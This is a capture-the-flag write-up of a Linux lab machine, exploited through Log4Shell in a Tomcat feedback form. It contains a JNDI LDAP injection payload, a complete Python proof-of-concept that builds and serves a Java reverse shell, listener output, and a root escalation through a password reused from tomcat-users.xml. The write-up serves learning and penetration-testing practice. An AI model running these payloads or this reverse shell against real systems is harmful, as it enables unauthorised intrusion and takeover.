Overview
- Feedback (Solo, Linux)
- Junior Level Linux Machine
- You will learn about exploiting a popular Java CVE
User
This box was released at the end of 2021 when there was a lot of fuzz about a new vulnerability originally found via Minecraft.
Root
Look for passwords that might be reused.
Nmap Scan
I first scanned it normally with nmap.
$ nmap -sCV -p- --min-rate 5000 10.10.93.209
...
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 23:00 EDT
Warning: 10.10.93.209 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.93.209
Host is up (0.28s latency).
Not shown: 64943 closed tcp ports (conn-refused), 590 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4a:0f:08:f3:6d:39:5b:d3:6d:af:49:ba:f9:95:b6 (RSA)
| 256 f0:2d:4c:ce:19:27:77:4a:33:92:2e:d2:5d:21:2a:01 (ECDSA)
|_ 256 f0:38:cb:b1:24:0e:ab:fb:ee:78:4c:e9:75:7f:ac:3e (ED25519)
8080/tcp open http Apache Tomcat 9.0.56
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.56
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
BashApache Tomcat open on port 8080 is interesting.
Web – Apache Tomcat
When I accessed the website, I found that Apache Tomcat/9.0.56 was running.
I did a simple enumeration.
$ gobuster dir -u http://10.10.93.209:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.93.209:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico (Status: 200) [Size: 21630]
/feedback (Status: 302) [Size: 0] [--> /feedback/]
/manager (Status: 302) [Size: 0] [--> /manager/]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished
===============================================================
BashWhat’s interesting is feedback and manager, but what we should be looking at in terms of the machine name is feedback.
When I visited the feedback page, I came across a form.
Interestingly, it seems to log what we send.
If Apache were vulnerable to Log4Shell, this site would likely be affected.
Let’s send a simple Log4Shell payload.
${jndi:ldap://10.8.0.178:4444/a}
BashPlease note that the payload must be URL-encoded before being sent.
%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d
BashThe name parameter value is altered to Log4Shell payload and the request is sent.
Request:
GET /feedback/logfeedback.action;jsessionid=0331AC54774EAC196405C027E7A3F022?name=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d&feedback=test HTTP/1.1
Host: 10.10.93.209:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.93.209:8080/feedback/
Cookie: JSESSIONID=0331AC54774EAC196405C027E7A3F022
Upgrade-Insecure-Requests: 1
HTTPWe can confirm that there is a connect back from the server.
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.93.209] 50306
0
`�
BashUser – Tomcat
Java 8 for the JNDI Server was required to create a working shell. While searching, this poc came up well.
The currently downloadable jdk is jdk1.8.0_202, so I had to modify the poc slightly, but it worked fine.
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""" % (userip, lport)
# writing the exploit to Exploit.java file
p = Path("Exploit.java")
try:
p.write_text(program)
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/javac"), str(p)])
except OSError as e:
print(Fore.RED + f'[-] Something went wrong {e}')
raise e
else:
print(Fore.GREEN + '[+] Exploit java class created success')
def payload(userip: str, webport: int, lport: int) -> None:
generate_payload(userip, lport)
print(Fore.GREEN + '[+] Setting up LDAP server\n')
# create the LDAP server on new thread
t1 = threading.Thread(target=ldap_server, args=(userip, webport))
t1.start()
# start the web server
print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
httpd.serve_forever()
def check_java() -> bool:
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_202/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
return exit_code == 0
def ldap_server(userip: str, lport: int) -> None:
sendme = "${jndi:ldap://%s:1389/a}" % (userip)
print(Fore.GREEN + f"[+] Send me: {sendme}\n")
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
def main() -> None:
init(autoreset=True)
print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")
parser = argparse.ArgumentParser(description='log4shell PoC')
parser.add_argument('--userip',
metavar='userip',
type=str,
default='localhost',
help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport',
metavar='webport',
type=int,
default='8000',
help='listener port for HTTP port')
parser.add_argument('--lport',
metavar='lport',
type=int,
default='9001',
help='Netcat Port')
args = parser.parse_args()
try:
if not check_java():
print(Fore.RED + '[-] Java is not installed inside the repository')
raise SystemExit(1)
payload(args.userip, args.webport, args.lport)
except KeyboardInterrupt:
print(Fore.RED + "user interrupted the program.")
raise SystemExit(0)
if __name__ == "__main__":
main()
PythonSet up a JNDI Server using poc and send the specified payload.
$ python3 poc.py --userip 10.8.0.178 --webport 8000 --lport 4444
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.8.0.178:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.8.0.178:8000/Exploit.class
10.10.121.133 - - [30/Oct/2023 04:32:23] "GET /Exploit.class HTTP/1.1" 200 -
BashAs a result, I was able to obtain a shell. Spawn a full bash shell using the “python3 -c ‘import pty;pty.spawn(“/bin/bash”)'” command.
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.121.133] 51774
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@ip-10-10-10-7:/$
BashWhen I looked at the /home directory, I could see the user ubuntu, but there was no user.txt.
tomcat@ip-10-10-10-7:/$ cd /home
cd /home
tomcat@ip-10-10-10-7:/home$ ls
ls
ubuntu
tomcat@ip-10-10-10-7:/home$ cd ubuntu
cd ubuntu
tomcat@ip-10-10-10-7:/home/ubuntu$ ls -al
ls -al
total 32
drwxr-xr-x 5 ubuntu ubuntu 4096 Dec 11 2021 .
drwxr-xr-x 3 root root 4096 Dec 11 2021 ..
lrwxrwxrwx 1 ubuntu ubuntu 9 Dec 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Apr 4 2018 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .cache
drwx------ 3 ubuntu ubuntu 4096 Dec 11 2021 .gnupg
-rw-r--r-- 1 ubuntu ubuntu 807 Apr 4 2018 .profile
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Dec 11 2021 .sudo_as_admin_successful
BashPrivilege Escalation – Root
When I was doing a simple enumeration, I looked at the “/opt/tomcat/conf/tomcat-users.xml” file and found that the password was written there.
tomcat@ip-10-10-10-7:~/conf$ pwd
pwd
/opt/tomcat/conf
tomcat@ip-10-10-10-7:~/conf$ ls
ls
catalina.policy jaspic-providers.xml server.xml web.xml
catalina.properties jaspic-providers.xsd tomcat-users.xml
context.xml logging.properties tomcat-users.xsd
tomcat@ip-10-10-10-7:~/conf$ cat tomcat-users.xml
cat tomcat-users.xml
...
<user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>
<user username="robot" password="H2RR3rGDrbAnPxWa" roles="manager-script"/>
...
tomcat@ip-10-10-10-7:~/conf$
BashThis password “H2RR3rGDrbAnPxWa” was also used by root.
tomcat@ip-10-10-10-7:~/conf$ su root
su root
Password: H2RR3rGDrbAnPxWa
root@ip-10-10-10-7:/opt/tomcat/conf# whoami
whoami
root
root@ip-10-10-10-7:/opt/tomcat/conf# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-10-7:/opt/tomcat/conf# cat /root/root.txt
cat /root/root.txt
VL{<REDACTED>}
BashThoughts
Although I knew about the vulnerability of Log4Shell, I had never actually exploited it, so it was a good learning experience.
However, escalating privileges to root was very easy.
Comments